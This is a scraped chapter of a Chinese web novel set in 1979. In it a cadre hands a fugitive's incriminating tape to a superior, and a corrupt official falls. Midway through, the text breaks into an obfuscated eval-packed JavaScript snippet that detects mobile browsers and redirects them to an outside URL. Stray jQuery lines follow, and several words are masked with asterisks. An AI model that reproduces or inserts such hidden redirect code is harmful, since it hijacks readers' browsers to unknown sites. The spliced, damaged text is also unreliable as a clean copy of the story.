这话戳中了赵振国最深的恐惧。


    半年来,每次晚归时的警惕,棠棠夜里突然的惊醒,婶子阴雨天就疼的腿——这些不会因为张建国撤职就消失。只要张建国还在,还有势力,就永远是个威胁。


    “你想要我怎么做?”赵振国终于问。


    “第一,保证我自首后不被‘处理’。”梁三说,“第二,找关系,让我判轻点。第三.”他犹豫了一下,“我老娘在海东县,眼睛快瞎了,每个月需要五块钱买药。我进去后,你得保证有人给她送钱。”


    “你觉得我能做到这些?”


    “你能。”梁三盯着他。


    “录音带给我,我听听全部内容。”赵振国终于说,“如果是真的,我答应你。但你要明白,我只能尽力,不能保证结果。”


    ——


    第二天,赵振国请了假。他先去了一趟海东县,按照梁三给的地址,找到了那个眼睛半瞎的老太太。低矮的土坯房,屋里冷得像冰窖。老太太摸索着给他倒水,手抖得厉害。


    “三儿好久没回来了.他说在城里找了好工作”老太太喃喃道。


    赵振国放下二十块钱和五斤粮票:“梁三让我捎给您的。”


    老太太浑浊的眼睛里涌出泪水:“好人啊您是好人”


    离开时,赵振国回头看了一眼。老太太站在门口,佝偻着背,风吹动她花白的头发。


    下午,他去了**局,找到老周,侧面打听梁三的情况。


    “梁三?通缉着呢。”老周递了支烟,“知青返城,没工作,老娘有病。以前在厂里干临时工,后来厂子精简,第一批就裁了他。”


    “他参与黑三的案子,是为了钱?”


    “还能为啥?”老周叹气,“一百五十块钱,可是巨款了。他老娘一个月的药费就要五块,他临时工一个月才挣十八。你说他怎么选?”


    赵振国默默抽着烟。七九年的中国,站在改革的起点上,机会与阵痛并存。像梁三这样的人,太多太多。


    ——


    下午,赵振国坐在**办公室外间的长椅上,公文包横在膝头,里面装着那盒改变命运的磁带。


    “听说你去了海东县?”**突然问,语气随意,像拉家常。


    赵振国心中一紧。果然


    ,他的一举一动都有人关注。“是,去看一个远房亲戚。”


    **点点头,没追问,“今天找我,有什么事?”


    时机到了。赵振国打开公文包,拿出录音机,“王主任,我想请您听点东西。”


    “说吧,这是什么?”**的声音很平静,但赵振国听出了其中的重量。


    “是关于张建国案子的新证据。”赵振国说,“梁三给我的,他说里面录下了张建国指使李卫东的对话。”


    **的表情没有变化,但夹着烟的手指微微一顿。“梁三?那个在逃犯?为什么交给你?”


    “他想让我保他。”赵振国如实说,“他怕直接交给**局,会‘被**’。”


    **沉默了。烟雾缭绕中,他的脸有些模糊。窗外传来汽车的喇叭声,一辆轿车驶过**大院,轮胎压过积雪,发出咯吱咯吱的声音。


    “你知道这盒磁带意味着什么吗?”良久,**开口。


    “知道。”赵振国说,“意味着之前的结论可能错了,张建国不仅知情,还是主使。”


    “不仅这些。”**掐灭烟头,“意味着我们要推翻已经盖棺定论的案子,意味着要得罪省里为张建国说话的老领导,意味着海市的班子要重新洗牌,意味着”他顿了顿,“意味着你,我,所有牵扯进来的人,都可能面临不可预知的风险。”


    赵振国迎上**的目光。


    **看着他,眼神复杂。


    “放吧。”最终,**说。


    赵振国将磁带放入录音机,按下播放键。


    录音很快放完了,录音机磁带走到底的“咔嗒”声,在寂静中格外刺耳。


    **盯着他看了很久,突然笑了,笑容里有些疲惫,“录音交给我。”**掐灭烟,“但你记住,从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041679|157489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今天起,这件事与你无关。磁带是我收到的匿名举报,你什么都不知道。你啊,还真跟老唐年轻的时候有几分相似。”


    “梁三那边.”赵振国终于开口。


    “我会安排。”**说,“如果他配合,确实只是望风,会从宽。他母亲的事,我也会让人关照。但你要明白,法律有法律的底线。”


    赵振国点点头。


    ——


    两周后,赵振国一上班,唐康泰


    就把他拉进办公室,关上门:


    “出了大事,张建国这次彻底玩完了。


    “张建国?


    “不止。唐康泰倒了杯水,“张建国被正式逮捕,涉嫌雇凶伤害、滥用职权、**,好几项罪名。他爱人李医生的案子也重审了,可能加刑。还有.他凑近,“**局还有个副局长被停职了.要不**个人,咋能轻飘飘地就这么揭过去了?


    赵振国静静听着。


    “最劲爆的是,唐康泰声音更低了,“京城部里的一位老领导提前退休了。虽然没有明说原因,但大家都知道,和张建国的案子有关。


    果然是一张网。**撕开了一个口子,整张网都开始松动。


    “王主任怎么样?


    “忙,但位置稳了,转副市长肯定没问题。唐康泰说,“这次他是立了大功。不过.他犹豫了一下,“也有人说他手段太狠,不留余地。


    赵振国明白这些议论的分量。七九年,**结束才三年,**生态敏感而脆弱。一个“手段太狠的评价,足以让一个干部的上升之路布满荆棘。


    **帮过他,在张建国的事情上,他承担了最大的风险和**压力。而现在,**需要稳固自己的位置,需要实实在在的政绩来抵消那些非议。


    一个念头在赵振国心里慢慢成形。


    ——


    接下来的半个月,赵振国忙得脚不沾地。


    他在准备材料:开发区的规划图、优惠政策草案、劳动力成本分析、港口吞吐量数据每一项都要做得详实可靠。